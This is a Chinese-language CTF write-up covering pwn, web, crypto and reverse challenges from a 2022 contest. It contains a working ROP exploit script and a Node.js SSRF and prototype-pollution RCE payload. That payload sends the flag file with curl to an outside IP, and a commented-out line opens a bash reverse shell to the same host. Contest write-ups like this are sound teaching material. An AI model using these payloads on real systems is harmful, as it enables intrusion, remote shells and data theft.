2022 西湖论剑·中国杭州网络安全技能大赛部分题目 Writeup

February 3, 2023

Pwn

Message Broad

Author: xf1les

格式化字符串 + 栈溢出。首先利用格式化字符串漏洞泄漏 libc 地址，然后通过栈溢出跳到 0x401378 读入 orw ROP 链。最后再次利用栈溢出，栈迁移执行 ROP 读 flag。

#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

libc = ELF("./libc.so.6")

libc_os = lambda x : libc.address + x

###################################################################

p = remote("tcp.cloud.dasctf.com", 23988)

p.sendlineafter("name:", "%24$p")
p.recvuntil("Hello, ")
libc.address = int(p.recvline().strip(), 16) - 0x1f12e8
info("libcbase: 0x%lx", libc.address)

rop_addr = 0x404800

p.sendafter("Now, please say something to DASCTF:", b'\x00'*0xb0 + p64(rop_addr+0xb0) + p64(0x401378))

rax_0 = libc_os(0xb1d69)
rax_1 = libc_os(0xcfb20)
rax_2 = libc_os(0xcfb30)
xchg = libc_os(0xf1b65)
rdi = libc_os(0x23b6a)
rsi = libc_os(0x2601f)
rdx = libc_os(0x142c92)
syscall = libc_os(0x630a9)

rop_raw = [
    rdi, 0xdeadbeef,
    rsi, 0,
    rax_2, syscall,
    xchg,
    rsi, 0xdeadbeef,
    rdx, 0x100,
    rax_0, syscall,
    rdi, 1,
    rax_1, syscall
]

rop_raw[1] = rop_raw[8] = rop_addr + len(rop_raw) * 8
rop = flat(rop_raw) + b'/flag\x00'
rop = rop.ljust(0xb0, b'\x00')

# 0x4013a2： leave; ret
p.send(rop + p64(rop_addr-8) + p64(0x4013a2))

p.interactive()

flag: DASCTF{78498727609579599266243558991510}

Web

real_ez_node

Author: WT_Elf

unicode 字符转义构造 SSRF，去请求/copy，/copy 中的safeobj.expand(user, index, req.body[index])存在原型链污染的问题，通过将{}.proto.outputFunctionName 污染为我们想要执行的代码，配合 ejs 的 rce，然后执行外带 flag 到我们的攻击机上面。

值得注意的是，这里过滤了__proto__，采用{}.constructor.prototype.outputFunctionName 的方式绕过

import httpx
url = 'http://3000.endpoint-271a72119329453d84690fe01a6850cd.m.ins.cloud.dasctf.com:81'


payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: application/x-www-form-urlencoded

{}""".replace('\n', '\r\n')

#body = """constructor.prototype.outputFunctionName=_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/47.107.117.109/4567 0>&1 &"');var __tmp2
body = """constructor.prototype.outputFunctionName=_tmp1;var oo=global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString();global.process.mainModule.require('child_process').exec(`curl 47.107.117.109:4567/${oo}`);var __tmp2


""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'


response1 = httpx.get(f'{url}/curl?q=' + payload)
print(response1.text)

执行效果：

Author: WT_Elf

flag1：通过设置 cookie 值，user=admin，请求/flag1 即可

flag2：通过传入一个数组对象，当中的元素有 16 个，从而能通过 if(checkcode.length === 16)，然后在碰见

checkcode = checkcode.toLowerCase()

的时候发生报错，从而绕过：

if(checkcode !== “aGr5AtSp55dRacer”)

的判断

扭转乾坤

Author: ABU

正常上传会提示 Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.尝试修改 multipart/form-data 为 multipart/form-dat，即可绕过。

Crypto

LockByLock

Author: 狗遛狗舞

每次输出获得 \(msg1 = m^{e_A},msg3 = m^{e_B}\)，而 msg2 其实没什么用。实际上就是给了一个加密 Oracle，有两次使用机会，选择明文攻击。第一次加密 2 ，第二次加密 4 ，将结果计算一下拿到公钥 n，再利用 Pollard’s kangaroo algorithm 解离散对数拿到公钥 e.

#sage
 m = 2
 a = #第一次proxyProcedure给的msg1
 b = #第二次proxyProcedure给的msg1
 c = #第一次proxyProcedure给的msg3
 d = #第二次proxyProcedure给的msg3
 n = gcd(a**2-b,c**2-d)
 e1 = discrete_log_lambda((mod(a,n)), (mod(m,n)),(10**14,10**15))
 e2 = discrete_log_lambda((mod(c,n)), (mod(m,n)),(10**14,10**15))
 assert pow(4,e1,n)==b
 assert pow(4,e2,n)==d

接着共模攻击

import gmpy2
 from Crypto.Util.number import GCD,long_to_bytes
 n = 
 c1 = #secureProcedure给的msg1
 c2 = #secureProcedure给的msg3
 e1 = 470129340211823
 e2 = 317977418745877
 assert GCD(e1,e2)==1
 s,s1,s2=gmpy2.gcdext(e1,e2)
 m=(pow(c1,s1,n)*pow(c2,s2,n))%n
 print(long_to_bytes(m))
 #DASCTF{97528269514323274486517981335577}

Reverse

Dual personality

Author:JANlittle

天堂之门，32 位切换到 64 位，capstone 或 dump 出 64 位代码 ida 看都行

enc = [0xAA, 0x4F, 0x0F, 0xE2, 0xE4, 0x41, 0x99, 0x54, 0x2C, 0x2B, 0x84, 0x7E, 0xBC, 0x8F, 0x8B, 0x78, 0xD3, 0x73, 0x88, 0x5E, 0xAE, 0x47, 0x85, 0x70, 0x31, 0xB3, 0x09, 0xCE, 0x13, 0xF5, 0x0D, 0xCA]
key = [0x04, 0x77, 0x82, 0x4A]

for i in range(32):
    enc[i]^=key[i%4]

key = [0xc,0x22,0x38,0xe]
for i in range(4):
    t = int.from_bytes(bytes(enc[8*i:8*(i+1)]), 'little')
    t = (t>>key[i]) | ((t&((1<<(key[i]))-1))<<(64-key[i]))
    t = t.to_bytes(8, 'little')
    for j in range(8):
        enc[8*i+j] = t[j]

edx = 0x3ca7259d
for i in range(8):
    t = int.from_bytes(enc[4*i:4*(i+1)], 'little')
    t1 = (t-edx)&0xffffffff
    edx ^= t
    t1 = t1.to_bytes(4, 'little')
    for j in range(4):
        enc[4*i+j] = t1[j]

print(bytes(enc))

BabyRE